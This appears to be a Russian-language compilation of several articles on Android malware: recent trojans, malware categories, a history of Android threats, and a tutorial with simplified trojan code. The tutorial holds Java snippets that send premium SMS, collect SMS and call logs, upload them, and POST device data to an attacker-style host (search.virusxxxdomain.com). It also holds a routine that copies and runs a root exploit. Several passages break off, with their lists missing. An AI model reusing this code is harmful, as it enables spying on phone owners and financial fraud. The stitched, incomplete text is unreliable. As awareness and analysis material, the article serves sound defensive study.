Начнём со «свежака» - Триаду сегодня можно считать самым новым и «пуленепробиваемым» вирусом для смартфонов. Его и обнаружили-то только в марте 2017 года.
Уникален он своей близостью к классическим вирусам, а не троянам-вымогателям, как это обычно бывает на Android. Вам всё же нужно умудриться подхватить его из «непроверенных источников», а вот дальше начинается гораздо весёлый «боевичок»:
Triada - вирус, который не просто хулиганит в системе, а вклинивается в её жизненно важные участки
Но с возможностью «распотрошить» любое установленное приложение или установить новое на расстоянии это только «цветочки» - особенность «Триады» заключается в том, что это модульный вирус, к нему можно будет прикрутить самые разные виды дистанционных трюков.
Как видите, вирусы для Android - это не только примитивные «ваш телефон заблокирован, с вас сто баксов», от которых можно избавиться удалением приложения. И, если в новых версиях Android хотя бы усложнён доступ к получению root и можно увидеть что-то подозрительное на этапе запроса прав приложением, то старые версии (Android 4.4, 4.3 и старее) абсолютно беззащитны перед новой заразой - спасёт только полная перепрошивка.
Так называемый «банковский зловред» был разработан ещё в 2013 году, но его «звёздный час» настал только летом 2016 года. Знаменит хорошей маскировкой и «интернационализмом», если можно так сказать.
Marcher представляет собой простой троян, который не проворачивает ничего сверхъестественного, а просто подменяет собой служебные страницы огромного количества банков с помощью всплывающих окон. Механизм следующий:
«Дружище, что-то я подзабыл номер твоей карты. Не напомнишь?»
Таким нехитрым образом троян подделывал процесс покупки авиабилетов, покупки товаров в интернет-магазинах и софта в Google Play и работу банковских приложений. Под раздачу попали пользователи банковских карт в Германии, Франции, Польши, Турции, США, Австралии, Испании, Австрии и Великобритании. Изначально вирус «точили» под Android 6.x, смартфонов под управлением других версий оказалось значительно меньше.
Даже не одиночка, а целый каскад троянов-«хамелеонов», не настолько криминально-суровых, как Triada, но в такой же степени болезненных для операционной системы. Антивирусные специалисты обратили внимание на зловредов в начале 2016 года, а в народ смартфоны зловред стал массово проникать уже в декабре 2016-го.
Loki - это такой организованный разбой по предварительному сговору в вашем смартфоне
Зловреды действуют настолько быстро и слаженно, что хочется аплодировать им стоя. Вы только взгляните на эту «многоходовочку»:
«Выкорчевать» из мозгов смартфона следы этой бурной деятельности невозможно, поэтому «лечится» заражение с помощью Loki только полной перепрошивкой с потерей всех данных.
Если предыдущие трояны намеренно действуют исподтишка, чтобы пользователь смартфона до последнего момента не догадывался о заражении, то Faketoken в своём подходе прост и прямолинеен, как опытный гопник - требует предоставить ему права на любые действия со смартфоном, а если владелец отказывается, в дело вступает алгоритм «слышь, ты чё не понял? Тогда я повторю!».
Троян Godless впечатляет даже не своей, так сказать, функциональностью, а маскировкой - длительное время его наличие в приложениях не распознавала даже хваленая система антивирусной проверки в Google Play. Результат немного предсказуем - зловред заразил свыше 850 тысяч смартфонов по всему миру, причём почти половина из них принадлежит жителям Индии, что как бы намекает на происхождение трояна.
Скачиваешь себе фонарик из Google Play - подхватываешь неудаляемый вирус с шифрованием и root-правами
Функциональность трояна слабо отличается от его многочисленных коллег в 2016 году, новым стал только «зачин»:
Среди приложений, к которым чаще всего «прикручивали» Godless, были многочисленные «фонарики» и клоны известных игр для Android.вирусы , черви , трояны , adware (навязчивую рекламу) и «страшилки» , но почти никого не заботят такие тонкости. Мол, вирусы - они и есть вирусы.
Различия между «сортами радости» следующие:
На сегодняшний день OS Android позиционируется как одна из наиболее популярных операционных систем – под ее управлением работает более 70% устройств по всему миру.
Причина в ее доступности: производитель использует открытый код для «заточки» под многочисленные гаджеты и дает возможность самостоятельно изменить внешний вид оболочки, прошить смартфон, получить и так далее.
Эти стремления к персонализации, в конечном итоге, были взяты на вооружение злоумышленниками, в результате чего на свет появилось огромное количество вредоносных программ, внедряющихся в открытый код передающих бразды правления устройством в чужие руки.
Android считается достаточно защищенной операционной системой. Не зря умные люди придумали Google Play – бОльшая часть всего софта фильтруется на наличие вирусов, что защищает пользователя от несанкционированного внедрения. Снимая запрет на установку из неизвестных источников, можно своими руками открыть сомнительным приложениям доступ к системе девайса.
В основном, большинство вредоносных программ попадает в систему путем скачивания софта со сторонних файлообменников, например, когда обладатель смартфона пытается безвозмездно приобрести платное приложение или программу, которой нет в Google Play. Также можно «подцепить» вирус при вводе номера телефона на различных сайтах: так вы попадете в базу данных злоумышленников, после на телефон начнут приходить сообщения со странными ссылками, после перехода на которые вредоносное ПО автоматически закачается на устройство и нанесет вред его обладателю.
Классические трояны . Стары, как мир, но до сих пор успешно функционируют. Основное их назначение – кража личных данных пользователя: контактов, личных переписок, логинов/паролей от сайтов и номеров банковских карт. Заработать такую напасть можно как через сомнительное приложение, так и посредством перехода по короткой ссылке из знакомых каждому SMS-сообщений вроде «Вам пришло фото, смотреть здесь».
В последнее время такие вирусы все чаще настроены на взлом приложения вроде «Мобильного банка», поскольку так злоумышленники получают возможность перевести все деньги жертвы на свой счет.
Вирусы, дающие возможность получить root-права . В момент, когда смартфон подвергается заражению этим вирусом, злоумышленники получают права администрирования. С этого момента им доступны любые удаленные действия с устройством: отправка SMS от имени пользователя, совершение звонков, управление работой девайса, установка софта, все коды доступа, пароли и так далее.
Рассылка платных СМС-сообщений . Они в свое время были очень популярны на сайтах файлообменников, содержащих бесплатные приложения. Как только владелец устройства скачивает программу, с его номера автоматически начинают отправляться сообщения на платные короткие номера. Либо, как вариант, автоматически оформляются подписки на некий несуществующий контент, за мнимое пользование которым обладатель девайса платит от 20 до 60 руб. ежесуточно.
Как правило, пока причина стремительной потери средств будет установлена, пользователь успеет потерять приличную сумму.
«Подслушивающие вирусы» . Такого рода ПО призвано записывать все телефонные разговоры пользователя, некоторые подвиды настроены выборочно вылавливать из этих разговоров важную информацию: номера телефонов, банковских счетов и кредитных карт, логины, пароли и прочую конфиденциальную информацию.
Рекламные модули приложений . Наверное, каждый замечал при работе с некоторыми приложениями навязчивый рекламный баннер, внезапно выскакивающий посреди экрана. В некоторых случаях при клике на него создатель получает определенную сумму со счета пользователя. В большинстве своем подобная акция является разовой и не влечет регулярной потери средств, хотя иногда обладатель смартфона получает пакет параллельно действующих вирусов.
Для защиты от разнообразного вредоносного ПО обладателям смартфонов на базе Android следует отказаться от установки софта из непроверенных источников, пользоваться антивирусами, регулярно и просто быть предусмотрительным.
Первый экспериментальный образец полноценного трояна для Android был представлен летом 2010 года на конференции DEF CON 18. С тех пор прошло уже более четырех лет, и за это время количество вирусов для мобильной ОС от Google выросло в тысячи раз, а Google успела придумать десятки различных методов противостояния угрозам. В этой статье мы детально исследуем мир вредоносов для Android и проследим противостояние поискового гиганта и хакеров.
Первые попытки создать вредоносный софт для Android и доказать несостоятельность гугловской мобильной платформы с точки зрения безопасности начались с публикации первых предварительных версий Android SDK в 2007 году. Молодые студенты писали софт, который использовал стандартную функциональность смартфона для чтения SMS’ок, а «исследовательские» команды, вроде Blitz Force Massada, демонстрировали аж «30 векторов атак на Android», показывая, как можно использовать стандартные API Android во вредоносных целях.
Это было время игрушек, которые нельзя было назвать ни настоящим вредоносным ПО, ни тем более вирусами. То тут, то там появлялись приложения, вроде Mobile Spy от Retina-X Studios, которые позволяли удаленно читать текстовые сообщения, историю звонков, просматривать фотографии, видео, определять координаты смартфона. Встречались и различные поддельные приложения, такие как обнаруженный в маркете в январе 2010 года неофициальный клиент для различных банков, который ни с чем не соединялся, а просто уводил номера кредитных карт, введенных самим пользователем.
Более-менее настоящий троян был реализован только в 2010 году секьюрити-компанией Trustwave, которая продемонстрировала его на конференции DEF CON 18. Впрочем, Америки они не открыли; троян был всего лишь стандартным модулем ядра Linux, который перехватывал системные вызовы write() , read() , open() и close() , а также создавал реверсивный шелл по звонку с определенного номера. Вся эта функциональность позволяла подключиться к смартфону удаленно и скрытно использовать его возможности в своих целях, в том числе читать конфиденциальную информацию.
Для установки руткита требовался физический доступ к устройству, root-права и смартфон HTC Legend (модуль был совместим только с его ядром), поэтому ни о каком практическом применении руткита речи не шло. Proof of concept, который доказал только то, что ядро Linux и в смартфоне остается ядром Linux.
Настоящий троян в «дикой природе» (не маркете) был найден только в августе 2010 года. Правда, это был совсем не тот тип трояна, о котором принято писать в нашем журнале, а всего лишь SMS-троян, то есть, по сути, обычное приложение, которое шлет SMS на платные номера без ведома юзера. Игрушка, которую хороший программист напишет за полчаса, но очень опасная, попади она к обычному юзеру.
Троян, получивший имя Trojan-SMS.AndroidOS.FakePlayer.a, прикидывался видеоплеером под незамысловатым названием Movie Player и с иконкой стандартного проигрывателя из Windows. Приложение требовало права доступа к карте памяти, отправке SMS и получению данных о смартфоне, о чем система сообщала перед его установкой. Если все это не смущало пользователя и он соглашался с установкой и запускал приложение, оно повисало в фоне и начинало отправку SMS на номера 3353 и 3354, каждая из которых обходилась в пять долларов. Номера эти, кстати, действовали только на территории России, так что нетрудно догадаться о корнях автора данного «произведения».
В октябре был обнаружен другой тип SMS-трояна. На этот раз зловред использовал смартфон не для опустошения кошелька жертвы, а для кражи его конфиденциальных данных. После установки и запуска троян уходил в фон и пересылал все входящие SMS на другой номер. В результате злоумышленник мог не только завладеть различной конфиденциальной информацией пользователя, но и обойти системы двухэтапной аутентификации, которые для входа требуют не только логин и пароль, но и одноразовый код, отправляемый на номер мобильного телефона.
Интересно, что номер телефона злоумышленника не был жестко вбит в код трояна, а конфигурировался удаленно. Чтобы его изменить, требовалось отправить на номер жертвы особым образом оформленную SMS, которая содержала номер телефона и пароль. Пароль можно было изменить с помощью другой SMS, по умолчанию использовалась комбинация red4life.
Первый по-настоящему профессионально написанный и обладающий защитой от анализа вредонос для Android был обнаружен только в декабре 2010 года компанией Lookout. Троян, получивший имя Geinimi, качественно отличался от всего, что было написано ранее, и обладал следующими уникальными характеристиками:
В целом Geinimi действовал по следующему алгоритму. После запуска зараженного приложения создавался фоновый сервис, который собирал персональные данные: координаты устройства, номера IMEI и IMSI. Затем с интервалом в одну минуту он пытался связаться с одним из десяти удаленных серверов (www.widifu.com, www.udaore.com, www.frijd.com и другими), куда передавалась вся собранная информация и где собирались команды для удаленного исполнения.
Geinimi стал родоначальником полнофункциональных троянов для Android, и после его первого обнаружения на просторах интернета стали все чаще появляться зловреды с аналогичной или похожей функциональностью. Вскоре была найдена модификация Geinimi под названием ADRD, троян Android.Pjapps и множество других. Все они распространялись через различные сайты, torrent-трекеры, китайские неофициальные магазины, поэтому защититься от них можно было, просто не устанавливая приложения из неизвестных источников. Однако все изменилось, когда был обнаружен троян DroidDream, распространявшийся в составе более чем 50 приложений, опубликованных в официальном Android Market.
В марте 2011 года пользователь Lompolo сообщил на reddit, что в маркете Android обнаружено нескольких десятков вредоносных приложений, опубликованных человеком с ником Myournet. Несмотря на заурядность самого трояна, а также уже известный способ распространения, основанный на внедрении кода в легитимное приложение, факт наличия малвари в маркете, а также предположения о том, что она использует эксплойт rageagainstthecage для получения прав root на устройстве, быстро подогрели интерес к новости пользователей и сотрудников различных секьюрити-компаний. За несколько дней начальный список из двух десятков приложений расширился до 56, а среди публиковавших его людей (или ботов, кто знает) обнаружились Kingmall2010 и we20090202.
Сам по себе DroidDream по функциональности был очень похож на упрощенный Geinimi, но не был его вариацией. Он также собирал информацию о смартфоне, отправлял ее на удаленный сервер (http://184.105.245.17:8080/GMServer/GMServlet) и получал в ответ управляющие команды. Плюс ко всему он также содержал в себе другое приложение, спрятанное в каталоге assets/sqlite.db внутри APK и устанавливаемое в систему под именем DownloadProvidersManager.apk. Очевидно, это была защита от удаления.
В сумме зараженные приложения успели установить от 50 до 200 тысяч пользователей, пока команда безопасности Google не отреагировала на сообщение и не удалила из маркета все найденные копии зловреда и аккаунты выложивших их пользователей. В дополнение в маркете также появилось приложение Android Market Security Tool, с помощью которого пользователь мог очистить смартфон от заразы. Но и здесь не обошлось без конфуза. Буквально через два дня после этого Symantec обнаружила на просторах интернета зараженную версию этого приложения, которая содержала в себе уже другой троян, названный впоследствии Fake10086 за выборочную блокировку SMS с номера 10086.
Факт проникновения малвари в Android Market (а после DroidDream в маркете было обнаружено еще несколько вирусов) заставил Google серьезно задуматься над безопасностью своего репозитория приложений, а так как вручную они ничего делать не привыкли, то в результате в начале 2012 года выкатили сервис Bouncer, который проверял приложения на безопасность с помощью запуска в виртуальной машине. Задача Bouncer состояла в том, чтобы производить многократный запуск софтины, симулировать работу пользователя с приложением и анализировать состояние системы до и после работы с приложением. Если никаких странных и подозрительных действий софтина себе не позволяла, то она пропускалась в маркет, в противном случае публикация блокировалась.
Если верить Google, то сразу после запуска Bouncer сократил количество вредоносов в маркете на 40% Однако позднее выяснилось, что его можно легко обойти, просто проанализировав некоторые характеристики системы, такие как email-адрес владельца «смартфона», версию ОС и так далее, а затем создав приложение, которое при их обнаружении будет действовать абсолютно законно и делать грязную работу только на настоящем смартфоне. Скорее всего, Google уже разработала схему противодействия обнаружению Bouncer (например, с помощью генерации уникальных виртуальных окружений для каждого приложения).
Пять лет назад по компам пользователей начал свое победоносное шествие троян под названием Zeus. Благодаря изощренному дизайну и продвинутым техникам маскировки, делавшим его обнаружение невероятно трудной задачей, он смог распространиться на миллионы машин по всему миру и создать один из самых крупных ботнетов в истории; только в США было зафиксировано более трех с половиной миллионов случаев заражения.
Основная задача Zeus состояла в организации атаки типа man-in-the-browser, то есть использования техник кейлоггинга и формграббинга для перехвата частной пользовательской информации и ее отправки на удаленные серверы. За время своей работы Zeus смог утащить сотни тысяч логинов и паролей от популярных сервисов (Facebook, Yahoo!, hi5, metroFLOG, Sonico, Netlog) и, конечно же, множества онлайн-банков.
Разработчик Zeus быстро отреагировал на появление систем двухфакторной аутентификации и в 2010 году выпустил для Symbian и BlackBerry приложения, задача которых состояла в перехвате аутентификационных SMS-сообщений с одноразовыми кодами авторизации и их последующей отправке на все те же удаленные серверы. В середине 2012 года аналогичное приложение появилось и для Android.
Первая его версия была очень примитивна и представляла собой якобы секьюрити-приложение, которое при запуске выводит код верификации и закрывается. В результате в фоне повисает сервисный процесс, который занимается перехватом SMS и их отправкой на удаленный сервер. Последующие версии Zeus для Android обзавелись также системой удаленного управления с помощью сообщений с определенного номера, однако никаких продвинутых приемов маскировки или распространения вирус не использовал и в этот раз.
Тем не менее мобильная версия Zeus все-таки смогла наделать много шума в СМИ, но, как можно видеть, троян был сильно переоценен.
В середине января 2012 года сотрудники «Лаборатории Касперского» сообщили, что обнаружен первый в истории Android IRC-бот. Приложение распространялось в виде установочного APK-файла размером чуть больше 5 Мб и выдавало себя за игру Madden NFL 12. Интересное отличие этого трояна от других было в том, что, по сути, вся его логика работы заключалась в нативных приложениях Linux, которые никак не светились в окне стандартного диспетчера задач Android и к тому же использовали локальный эксплойт для получения прав root.
Во время запуска приложение создавало каталог /data/data/com.android.bot/files , в котором размещало три файла: header01.png, footer01.png, border01.png, а затем ставило на них бит исполнения и запускало первый файл - эксплойт Gingerbreak для получения прав root на устройстве. Если была установлена уже рутованная прошивка, приложение пыталось получить права root штатными средствами, в результате чего у пользователя запрашивалось предоставление повышенных привилегий (тот случай, когда рутованный смартфон безопаснее залоченного).
В случае успешного получения прав root любым из двух способов запускался второй файл, в котором хранился SMS-троян - модификация известного трояна Foncy SMS. Троян определял принадлежность SIM-карты стране и начинал отправку сообщений на короткий платный номер, блокируя все ответные сообщения. Следующим запускался файл border01.png, в котором был код IRC-бота. Он подключался к IRC-серверу с IP-адресом 199.68.. и регистрировался на канале #andros под случайным ником. Все сообщения, отправленные боту, выполнялись в консоли как обычные Linux-команды.
Согласно заявлению сотрудников «Лаборатории Касперского», это было первое приложение такого класса для Android. Однако, по их мнению, опасность его была невелика, так как распространялся он только через серые маркеты, а эксплойт работал только в ранних версиях Android 2.3.
В феврале 2012-го компания Symantec сообщила, что обнаружила первый полиморфный троян для платформы Android, который на тот момент не мог быть найден ни одним мобильным антивирусом, кроме ее собственного (сюрприз). Троян, названный Android.Opfake, распространялся через различные веб-сайты, находившиеся преимущественно на территории России и стран СНГ, в виде бесплатной версии популярного приложения или игры.
Полиморфным он был только условно, так как изменение трояна происходило на стороне сервера. При каждой новой загрузке файла содержимое APK-файла изменялось с помощью различных методов, таких как модификация файлов данных, включение в пакет приложения «мусорных файлов», а также изменение имен файлов. Все это затрудняло обнаружение мобильными антивирусами, которые в то время использовали примитивные техники идентификации, типа сверки контрольных сумм и проверки на наличие специфических файлов в пакете.
После попадания на смартфон жертвы и запуска троян извлекал из файла res/raw/data.db (который существовал в любой версии трояна) список операторов связи и платных коротких номеров и начинал отправку SMS. В дополнение троян открывал в браузере веб-страницу, содержащую ссылки на другое вредоносное ПО. Интересно, что сообщения также изменялись при каждой новой мутации трояна, в результате чего было невозможно блокировать определенные типы сообщений на стороне оператора.
Неделей раньше, а именно 1 февраля 2012 года, на сайте Виктор Чебушев опубликовал заметку, посвященную обнаружению нового типа вируса, распространяемого через магазин Google Play. Вирус маскировался под приложение Superclean, способное, по словам разработчиков, очистить память устройства и таким образом поднять производительность смартфона или планшета. На тот момент приложение имело уже от 1000 до 5000 установок и хороший рейтинг в 4,5 звезды.
Как выяснилось, Superclean действительно выполнял очистку памяти, но делал это простым перезапуском всех фоновых приложений с помощью всего пяти строк на языке Java. На этой «сложной» задаче полезное действие приложения заканчивалось, а самое интересное начиналось дальше. Анализируя код, сотрудник «Лаборатории Касперского» обнаружил, что при запуске приложение соединялось с удаленным сервером и загружало на карту памяти три файла: autorun.inf, folder.ico и svchosts.exe.
Первые два автоматически превращали подключаемый к USB-порту компа смартфон в самозагружаемую флешку, с которой запускался файл svchosts.exe. Сам svchosts.exe на поверку оказался бэкдором Backdoor.MSIL.Ssucl.a, который слушает микрофон компьютера и отправляет все полученные с его помощью данные на удаленный сервер.
Отличительной чертой трояна был также самый внушительный на тот момент набор функциональности из всех мобильных зловредов для Android. По команде от оператора он мог отправлять сообщения без ведома пользователя, включать и выключать Wi-Fi, собирать информацию об устройстве, открывать произвольные ссылки в браузере, отправлять на удаленный сервер содержимое SD-карты, SMS-переписку и выполнять многие другие операции.
К концу 2012 года ситуация с зловредами для Android стала уже настолько накаленной, что Google решила пойти на очередной кардинальный шаг. В сентябре без лишней огласки был приобретен сервис онлайн-проверки приложений на вирусы VirusTotal, а 29 октября выпущена версия Android 4.2, одним из новшеств которой стала автоматическая проверка любого устанавливаемого не через Google Play приложения на вирусы через удаленный сервис.
Трудно сказать, использовала ли Google купленный VirusTotal для этой задачи, или у них есть собственный сервис проверки, однако не нужно быть сотрудником Google, чтобы понять, что VirusTotal так или иначе был использован для защиты Android от вирусов.
В июне этого года сотрудники «Лаборатории Касперского» обнаружили наиболее сложный и продвинутый в техническом плане троян для Android из всех, что встречались до этого. Троян получил имя Backdoor.AndroidOS.Obad.a. Это было независимое приложение, не внедряемое в легитимный софт и, судя по всему, распространяемое под видом известных приложений.
После соглашения пользователя с длинным списком полномочий, установки и запуска он запрашивал права администратора устройства (речь идет не о root, а о собственной системе безопасности Android), которые были нужны только для двух вещей: самостоятельной блокировки экрана и защиты от удаления. Последнее троян делал особенно изысканно. Используя ранее неизвестный баг в Android, он удалял себя из списка приложений с полномочиями администратора, из-за чего его невозможно было лишить этих прав и, как следствие, удалить.
Далее троян проверял в системе наличие прав root и при следующем подключении к Wi-Fi-сети отправлял информацию об устройстве на удаленный сервер. Информация была типична для такого рода приложений и содержала в себе номер телефона, IMEI, MAC-адреса и подобную информацию. В ответ он получал список команд для исполнения и заносил их в базу данных с пометкой о времени исполнения. Удаленными командами могли быть: проверка баланса, отправка сообщений, переход в режим проксирования трафика, скачивание и установка приложений, отправка файлов по Bluetooth, открытие шелла и другие. Плюс ко всему при каждом подключении к другому устройству по синему зубу он копировал сам себя на это устройство.
При попытке анализа кода трояна обнаружилось использование множества техник защиты от анализа. Во-первых, троян эксплуатировал неизвестный ранее баг в утилите dex2jar, из-за которого декомпиляция кода трояна происходила некорректно. Во-вторых, троян использовал еще один неизвестный баг в Android, позволяющий создать файл Manifest.xml, в котором содержится метаинформация о приложении, таким образом, чтобы он противоречил стандартам Google, но при этом корректно обрабатывался при запуске приложения. Из-за этого многие инструменты анализа просто не срабатывали.
Если же удавалось распаковать и декомпилировать код трояна, обойдя эти ограничения, то дальше приходилось иметь дело с многоуровневой системой шифрования, которая защищала от анализа все текстовые данные, а также имена методов (они тоже были строками и вызывались посредством рефлексии). Интересно, что ключом для первого слоя шифрования была строка с главной страницы facebook.com, из-за чего работу трояна невозможно было проанализировать в «стерильной комнате», без подключения к интернету (хотя ограничение, конечно, можно обойти с помощью прокси).
В качестве одного из методов полиморфизма в найденном Symantec трояне использовалась включаемая в разные файлы фотография того самого Свидетеля из Фрязино.
Количество вирусов для Android сегодня исчисляется тысячами, и некоторые из них действительно представляют интерес для исследователя как образцы хорошего программирования и знания архитектуры Android. Вот только бояться их не стоит. Автор данной статьи уже более шести лет использует смартфоны на Android без всяких антивирусов и ни разу не поймал на них заразу. Главное - читать полномочия приложений и ставить их только из маркета.
В коллекции вредоносных Android-приложений некоторых антивирусных лабораторий содержится уже более 10 миллионов образцов. Эта цифра будоражит воображение, но примерно 9 миллионов 995 тысяч из них - переименованные копии оригинальных вирусов. Но если проанализировать исходный код оставшихся нескольких тысяч образцов малвари, то можно заметить, что все они комбинируются из небольшого количества уникальных функциональных блоков (несколько видоизмененных и по-разному скомбинированных).
Все дело в том, что вирмэйкеры чаще всего преследуют весьма тривиальные задачи:
Кто использует:
Самым распространенным типом вирусов являются SMS-трояны. Эти вирусы просто отправляют сообщения на платные номера без согласия пользователя. Создать такую программу или переписать готовую под нужный номер совсем легко. Да и процесс получения выгоды предельно упрощен - в отличие, например, от отслеживания банковских данных.
Далее приведен простейший пример кода. Это элементарная функция отправки SMS. Ее можно усложнить проверкой статуса отправки, выбором номеров в зависимости от места положения абонента и последующим удалением SMS.
Private static SendSms (String DestNumber, String SmsText) { // Попытка запуска метода sendTextMessage объекта SmsManager (стандартная программа для отправки SMS у текущего устройства) с минимальным количеством параметров: номер получателя и текст сообщения try{ SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; } }
В абсолютном большинстве случаев заражение телефона происходит через установку приложений. Любое приложение для Android существует в виде файла с расширением apk, который, по сути, является архивом. Просмотреть его содержимое можно с помощью Android SDK, конвертера файлов APK в JAR и декомпилятора Java-байт-кода. Сборка приложения (APK) состоит из следующих частей:
Кто использует:
Существует категория вирусов, которая охотится за персональными данными пользователей. Механизм их действия также несложен. Они либо загружают на сервер своего создателя файлы юзера, либо предварительно собирают какие-либо данные в txt (CSV, XML - не принципиально). Интерес для злоумышленников могут представлять контакты любого типа, сообщения из разных мессенджеров, медиафайлы и прочее.
SMS зараженных юзеров особенно ценны номерами телефонов отправителей и получателей - ими можно пополнить базу для спам-рассылок. Реже вирусы такого рода используются для заражения устройств конкретных личностей - в следующий раз, когда твоя девушка предложит тебе протестировать написанное ей (ай, карамба! - Прим. ред.) приложение на Android, не теряй бдительности:).
// Считаем количество SMS на устройстве arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Обходим по циклу каждую SMS i=1 while (true) { if(i>=j) break; // Создаем объект SMS-сообщение SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Кладем в строковые переменные номер отправителя, текст и время отправки SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Формируем из полученных данных строку и записываем ее в текстовый файл пользовательским методом WriteRec String MessageInfo= 7MessageNumber+"#"+ MessageText+"#"+ MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Переходим к следующему сообщению i+=1; } Также спам-лист удобно пополнять из истории вызовов абонента. Вот такой код может запускаться при входящем звонке: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) { // Кладем в переменную номер абонента String phonenumber=paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER"); // Формируем строку из номера и даты звонка String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Вызываем метод WriteRec() (его код здесь не приводится), который добавляет строку в текстовый файл с историей звонков WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); }
После того как информация записана, она переправляется в «нужные руки». Приведенный ниже код загружает историю звонков на сервер:
Private void uploadPhonecallHistory() throws IDException { while(true) { return; // Проверяем, есть ли нужный нам файл if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continue; // Создаем объект - загрузчик файлов UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Запускаем метод.advanceduploadfile (его код здесь не приводится) для загрузки файла на сервер «вирусмейкера» localUploadFiles.advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); } }
Кто использует:
В принципе, любому вирусмейкеру полезна информация о зараженных его программами устройствах. Получить ее очень просто. Создается массив с данными о свойствах телефона (их полный список можно посмотреть в руководстве Android-разработчика) и отправляется POST-запросом к PHP-скрипту (язык непринципиален) на сервере злоумышленника, тот обрабатывает данные и помещает их в базу данных для последующего использования.
Private void reportState(int paramInt, string paramString) { // Создаем массив и кладем в него служебную информацию ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add(new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Если у функции определен параметр «paramString(комментарий)», кладем в массив и его if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Создаем HTTP POST запрос с адресом скрипта, который осуществляет сбор данных HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try { // Добавляем в запрос наш массив с данными и выполняем его с помощью стандартного HTTP-клиента localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); return; } }
Кто использует:
Одна из самых неприятных вещей, которая может произойти с Android-устройством, - это его рутинг вирусом. Ведь после этого зловредная программа может делать с ним что угодно: устанавливать другие вирусы, менять настройки аппаратного обеспечения. Совершается это действо путем последовательного запуска эксплойтов:
Private void RootFunc() { ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" - это копия знаменитого root-эксплойта Rage Against The Cage. Kiall - остановка всех процессов, запущенных текущим приложением. Gjsvro - эксплойт для приобретения прав udev (используются в Linux-системах для расширенной работы с аппаратным обеспечением и сетевыми интерфейсами). Все это копируем в нужное место */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils.copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro"); //И запускаем с помощью командной строки Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/gjsvro"); new MyTread.start(); }
Блог экспертов компании Kasperskiy Lab Этот ресурс содержит качественные и подробные статьи о многих аспектах компьютерной безопасности, в том числе и об Android-вирусах. Стоит регулярно посещать этот сайт, чтобы быть в курсе последних событий.
Группа посвящена open source инструменту для всевозможных манипуляций с кодом Android-приложений (декомпиляция и модификация DEX/ODEX/APK файлов и так далее). Androguard также содержит обширную базу статей про вирусы. Помимо кратких обзоров функционала и методов защиты, встречаются подробные анализы кода малвари.
Раздел Mobile Threats на www.fortiguard.com Энциклопедии телефонных вирусов. Каждая статья - обзор функционала, приправленный значительным количеством технических деталей. Помимо информации об угрозах для операционной системы Android, есть статьи и про вирусы для Symbian OS, iOS и других платформ.
Некоторые пользователи считают, что если скачивать приложения исключительно из Google Play и установить на смартфон антивирус, то это стопроцентно гарантирует безопасность. Не стоит обольщаться: в Сети регулярно появляются сообщения о нахождении малвари в официальном маркете. А количество вновь появившихся зловредных программ измеряется сотнями тысяч в месяц, что затрудняет их своевременное попадание в базы антивирусных программ. Реальную гарантию безопасности может дать ручной просмотр кода APK-файла перед установкой его на телефон. Не нужно быть гуру кодинга, чтобы заметить вредоносные фрагменты. А наша статья поможет тебе в этом.
Как мы видим из примеров, мобильный вирмейкинг технологической сложностью не отличается. Конечно, данные примеры упрощены под формат журнала - прежде всего, упущены обработчики ошибок и исключений, а также отдельные технические мелочи, отсутствие которых не помешает тебе понять принципы работы Android-малвари, но оградит от ненужных экспериментов. Ведь мы не поддерживаем создание вирусов, не так ли? 🙂